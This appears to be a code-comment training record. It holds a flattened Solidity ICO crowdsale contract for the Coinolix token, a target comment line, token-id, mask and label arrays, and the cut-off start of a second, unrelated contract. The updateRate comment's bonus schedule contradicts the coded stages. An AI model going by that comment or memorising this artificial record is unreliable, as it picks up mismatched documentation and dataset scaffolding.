a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: contracts\zeppelin\crowdsale\validation\TimedCrowdsale.sol /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: contracts\zeppelin\crowdsale\distribution\FinalizableCrowdsale.sol /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } // File: contracts\zeppelin\crowdsale\distribution\utils\RefundVault.sol /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * @param _wallet Vault address */ constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } /** * @param investor Investor address */ function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } /** * @param investor Investor address */ function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } // File: contracts\zeppelin\crowdsale\distribution\RefundableCrowdsale.sol /** * @title RefundableCrowdsale * @dev Extension of Crowdsale contract that adds a funding goal, and * the possibility of users getting a refund if goal is not met. * Uses a RefundVault as the crowdsale's vault. */ contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; // minimum amount of funds to be raised in weis uint256 public goal; // refund vault used to hold funds while crowdsale is running RefundVault public vault; /** * @dev Constructor, creates RefundVault. * @param _goal Funding goal */ constructor(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return weiRaised >= goal; } /** * @dev vault finalization task, called when owner calls finalize() */ function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } /** * @dev Overrides Crowdsale fund forwarding, sending funds to vault. */ function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } } // File: contracts\zeppelin\crowdsale\emission\MintedCrowdsale.sol /** * @title MintedCrowdsale * @dev Extension of Crowdsale contract whose tokens are minted in each purchase. * Token ownership should be transferred to MintedCrowdsale for minting. */ contract MintedCrowdsale is Crowdsale { /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } /** * @title AirdropAndAffiliateCrowdsale * @dev Extension of AirdropAndAffiliateCrowdsale contract */ contract AirdropAndAffiliateCrowdsale is MintedCrowdsale { uint256 public valueAirDrop; uint256 public referrerBonus1; uint256 public referrerBonus2; mapping (address => uint8) public payedAddress; mapping (address => address) public referrers; constructor(uint256 _valueAirDrop, uint256 _referrerBonus1, uint256 _referrerBonus2) public { valueAirDrop = _valueAirDrop; referrerBonus1 = _referrerBonus1; referrerBonus2 = _referrerBonus2; } function bytesToAddress(bytes source) internal pure returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { address referer1; uint256 refererTokens1; address referer2; uint256 refererTokens2; if (_tokenAmount != 0){ super._deliverTokens(_beneficiary, _tokenAmount); //require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } else{ require(payedAddress[_beneficiary] == 0); payedAddress[_beneficiary] = 1; super._deliverTokens(_beneficiary, valueAirDrop); _tokenAmount = valueAirDrop; } //referral system if(msg.data.length == 20) { referer1 = bytesToAddress(bytes(msg.data)); referrers[_beneficiary] = referer1; if(referer1 != _beneficiary){ //add tokens to the referrer1 refererTokens1 = _tokenAmount.mul(referrerBonus1).div(100); super._deliverTokens(referer1, refererTokens1); referer2 = referrers[referer1]; if(referer2 != address(0)){ refererTokens2 = _tokenAmount.mul(referrerBonus2).div(100); super._deliverTokens(referer2, refererTokens2); } } } } } // File: contracts\zeppelin\crowdsale\validation\CappedCrowdsale.sol /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed */ constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } // File: contracts\zeppelin\crowdsale\validation\WhitelistedCrowdsale.sol /** * @title WhitelistedCrowdsale * @dev Crowdsale in which only whitelisted users can contribute. */ contract WhitelistedCrowdsale is Crowdsale, Ownable { mapping(address => bool) public whitelist; /** * @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract. */ modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } /** * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal isWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: contracts\zeppelin\token\ERC20\TokenTimelock.sol /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; constructor( ERC20Basic _token, address _beneficiary, uint256 _releaseTime ) public { // solium-disable-next-line security/no-block-members require(_releaseTime > block.timestamp); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solium-disable-next-line security/no-block-members require(block.timestamp >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } // File: contracts\CoinolixCrowdsale.sol /** * @title Coinolix ico Crowdsale Contract * @dev Coinolix ico Crowdsale Contract * The contract is for the crowdsale of the Coinolix icotoken. It is: * - With a hard cap in ETH * - With a soft cap in ETH * - Limited in time (start/end date) * - Only for whitelisted participants to purchase tokens * - Ether is securely stored in RefundVault until the end of the crowdsale * - At the end of the crowdsale if the goal is reached funds can be used * ...otherwise the participants can refund their investments * - Tokens are minted on each purchase * - Sale can be paused if needed by the admin */ contract CoinolixCrowdsale is AirdropAndAffiliateCrowdsale, //MintedCrowdsale, CappedCrowdsale, TimedCrowdsale, FinalizableCrowdsale, WhitelistedCrowdsale, RefundableCrowdsale, Pausable { using SafeMath for uint256; // Initial distribution uint256 public constant PUBLIC_TOKENS = 50; // 50% from totalSupply CROWDSALE + PRESALE uint256 public constant PVT_INV_TOKENS = 15; // 15% from totalSupply PRIVATE SALE INVESTOR uint256 public constant TEAM_TOKENS = 20; // 20% from totalSupply FOUNDERS uint256 public constant ADV_TEAM_TOKENS = 10; // 10% from totalSupply ADVISORS uint256 public constant BOUNTY_TOKENS = 2; // 2% from totalSupply BOUNTY uint256 public constant REFF_TOKENS = 3; // 3% from totalSupply REFFERALS uint256 public constant TEAM_LOCK_TIME = 31540000; // 1 year in seconds uint256 public constant ADV_TEAM_LOCK_TIME = 15770000; // 6 months in seconds // Rate bonuses uint256 public initialRate; uint256[4] public bonuses = [20,10,5,0]; uint256[4] public stages = [ 1541635200, // 1st two week of crowdsale -> 20% Bonus 1542844800, // 3rd week of crowdsale -> 10% Bonus 1543449600, // 4th week of crowdsale -> 5% Bonus 1544054400 // 5th week of crowdsale -> 0% Bonus ]; // Min investment uint256 public minInvestmentInWei; // Max individual investment uint256 public maxInvestmentInWei; mapping (address => uint256) internal invested; TokenTimelock public teamWallet; TokenTimelock public advteamPool; TokenPool public reffalPool; TokenPool public pvt_inv_Pool; // Events for this contract /** * Event triggered when changing the current rate on different stages * @param rate new rate */ event CurrentRateChange(uint256 rate); /** * @dev Contract constructor * @param _cap uint256 hard cap of the crowdsale * @param _goal uint256 soft cap of the crowdsale * @param _openingTime uint256 crowdsale start date/time * @param _closingTime uint256 crowdsale end date/time * @param _rate uint256 initial rate CLX for 1 ETH * @param _minInvestmentInWei uint256 minimum investment amount * @param _maxInvestmentInWei uint256 maximum individual investment amount * @param _wallet address address where the collected funds will be transferred * @param _token CoinolixToken our token */ constructor( uint256 _cap, uint256 _goal, uint256 _openingTime, uint256 _closingTime, uint256 _rate, uint256 _minInvestmentInWei, uint256 _maxInvestmentInWei, address _wallet, CoinolixToken _token, uint256 _valueAirDrop, uint256 _referrerBonus1, uint256 _referrerBonus2) Crowdsale(_rate, _wallet, _token) CappedCrowdsale(_cap) AirdropAndAffiliateCrowdsale(_valueAirDrop, _referrerBonus1, _referrerBonus2) TimedCrowdsale(_openingTime, _closingTime) RefundableCrowdsale(_goal) public { require(_goal <= _cap); initialRate = _rate; minInvestmentInWei = _minInvestmentInWei; maxInvestmentInWei = _maxInvestmentInWei; } /** * @dev Perform the initial token distribution according to the Coinolix icocrowdsale rules * @param _teamAddress address address for the team tokens * @param _bountyPoolAddress address address for the prize pool * @param _advisorPoolAdddress address address for the reserve pool */ function doInitialDistribution( address _teamAddress, address _bountyPoolAddress, address _advisorPoolAdddress) external onlyOwner { // Create locks for team and visor pools teamWallet = new TokenTimelock(token, _teamAddress, closingTime.add(TEAM_LOCK_TIME)); advteamPool = new TokenTimelock(token, _advisorPoolAdddress, closingTime.add(ADV_TEAM_LOCK_TIME)); // Perform initial distribution uint256 tokenCap = CappedToken(token).cap(); //private investor pool pvt_inv_Pool= new TokenPool(token, tokenCap.mul(PVT_INV_TOKENS).div(100)); //airdrop,bounty and reffalPool reffalPool = new TokenPool(token, tokenCap.mul(REFF_TOKENS).div(100)); // Distribute tokens to pools MintableToken(token).mint(teamWallet, tokenCap.mul(TEAM_TOKENS).div(100)); MintableToken(token).mint(_bountyPoolAddress, tokenCap.mul(BOUNTY_TOKENS).div(100)); MintableToken(token).mint(pvt_inv_Pool, tokenCap.mul(PVT_INV_TOKENS).div(100)); MintableToken(token).mint(reffalPool, tokenCap.mul(REFF_TOKENS).div(100)); MintableToken(token).mint(advteamPool, tokenCap.mul(ADV_TEAM_TOKENS).div(100)); // Ensure that only sale tokens left assert(tokenCap.sub(token.totalSupply()) == tokenCap.mul(PUBLIC_TOKENS).div(100)); } /** * @dev Update the current rate based on the scheme * 1st of Sep - 30rd of Sep -> 30% Bonus * 1st of Oct - 31st of Oct -> 20% Bonus * 1st of Nov - 30rd of Oct -> 10% Bonus * 1st of Dec - 31st of Dec -> 0% Bonus */ function updateRate() external onlyOwner { uint256 i = stages.length; while (i-- > 0) { if (block.timestamp >= stages[i]) { rate = initialRate.add(initialRate.mul(bonuses[i]).div(100)); emit CurrentRateChange(rate); break; } } } //update rate function by owner to keep stable rate in USD function updateInitialRate(uint256 _rate) external onlyOwner { initialRate = _rate; uint256 i = stages.length; while (i-- > 0) { if (block.timestamp >= stages[i]) { rate = initialRate.add(initialRate.mul(bonuses[i]).div(100)); emit CurrentRateChange(rate); break; } } } /** * @dev Perform an airdrop from the airdrop pool to multiple beneficiaries * @param _beneficiaries address[] list of beneficiaries * @param _amount uint256 amount to airdrop */ function airdropTokens(address[] _beneficiaries, uint256 _amount) external onlyOwner { PausableToken(token).unpause(); reffalPool.allocateEqual(_beneficiaries, _amount); PausableToken(token).pause(); } /** * @dev Transfer tokens to advisors and private investor from the pool * @param _beneficiaries address[] list of beneficiaries * @param _amounts uint256[] amounts */ function allocatePVT_InvTokens(address[] _beneficiaries, uint256[] _amounts) external onlyOwner { PausableToken(token).unpause(); pvt_inv_Pool.allocate(_beneficiaries, _amounts); PausableToken(token).pause(); } /** * @dev Transfer the ownership of the token conctract * @param _newOwner address the new owner of the token */ function transferTokenOwnership(address _newOwner) onlyOwner public { Ownable(token).transferOwnership(_newOwner); } /** * @dev Validate min and max amounts and other purchase conditions * @param _beneficiary address token purchaser * @param _weiAmount uint256 amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(_weiAmount >= minInvestmentInWei); require(invested[_beneficiary].add(_weiAmount) <= maxInvestmentInWei); require(!paused); } /** * @dev Update invested amount * @param _beneficiary address receiving the tokens * @param _weiAmount uint256 value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { super._updatePurchasingState(_beneficiary, _weiAmount); invested[_beneficiary] = invested[_beneficiary].add(_weiAmount); } /** * @dev Perform crowdsale finalization. * - Finish token minting * - Enable transfers * - Give back the token ownership to the admin */ function finalization() internal { CoinolixToken clxToken = CoinolixToken(token); clxToken.finishMinting(); clxToken.unpause(); super.finalization(); transferTokenOwnership(owner); reffalPool.transferOwnership(owner); pvt_inv_Pool.transferOwnership(owner); } } // File: contracts\CoinolixPresale.sol /** * @title Coinolix icoPresale Contract * @dev Coinolix icoPresale Contract * The contract is for the private sale of the Coinolix icotoken. It is: * - With a hard cap in ETH * - Limited in time (start/end date) * - Only for whitelisted participants to purchase tokens * - Tokens are minted on each purchase */ contract CoinolixPresale is AirdropAndAffiliateCrowdsale, //MintedCrowdsale, CappedCrowdsale, TimedCrowdsale, WhitelistedCrowdsale { using SafeMath for uint256; // Min investment uint256 public presaleRate; uint256 public minInvestmentInWei; event CurrentRateChange(uint256 rate); // Investments mapping (address => uint256) internal invested; /** * @dev Contract constructor * @param _cap uint256 hard cap of the crowdsale * @param _openingTime uint256 crowdsale start date/time * @param _closingTime uint256 crowdsale end date/time * @param _rate uint256 initial rate CLX for 1 ETH * @param _wallet address address where the collected funds will be transferred * @param _token CoinolixToken our token */ constructor( uint256 _cap, uint256 _openingTime, uint256 _closingTime, uint256 _rate, uint256 _minInvestmentInWei, address _wallet, CoinolixToken _token, uint256 _valueAirDrop, uint256 _referrerBonus1, uint256 _referrerBonus2) Crowdsale(_rate, _wallet, _token) AirdropAndAffiliateCrowdsale(_valueAirDrop, _referrerBonus1, _referrerBonus2) CappedCrowdsale(_cap) TimedCrowdsale(_openingTime, _closingTime) public { minInvestmentInWei = _minInvestmentInWei; presaleRate = _rate; } //update rate function by owner to keep stable rate in USD function updatepresaleRate(uint256 _rate) external onlyOwner { presaleRate = _rate; rate = presaleRate; } /** * @dev Validate min investment amount * @param _beneficiary address token purchaser * @param _weiAmount uint256 amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(_weiAmount >= minInvestmentInWei); } /** * @dev Transfer the ownership of the token conctract * @param _newOwner address the new owner of the token */ function transferTokenOwnership(address _newOwner) onlyOwner public { Ownable(token).transferOwnership(_newOwner); } }
2% from totalSupply BOUNTY
uint256 public constant BOUNTY_TOKENS = 2;
919,031
[ 1, 22, 9, 628, 2078, 3088, 1283, 9784, 5321, 61, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 5381, 9784, 5321, 61, 67, 8412, 55, 282, 273, 576, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at BscScan.com on 2021-09-02 */ // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; library Strings { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } pragma solidity >=0.6.0 <0.8.0; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity >=0.6.0 <0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity >=0.6.0 <0.8.0; library EnumerableSet { struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity >=0.6.0 <0.8.0; library EnumerableMap { struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 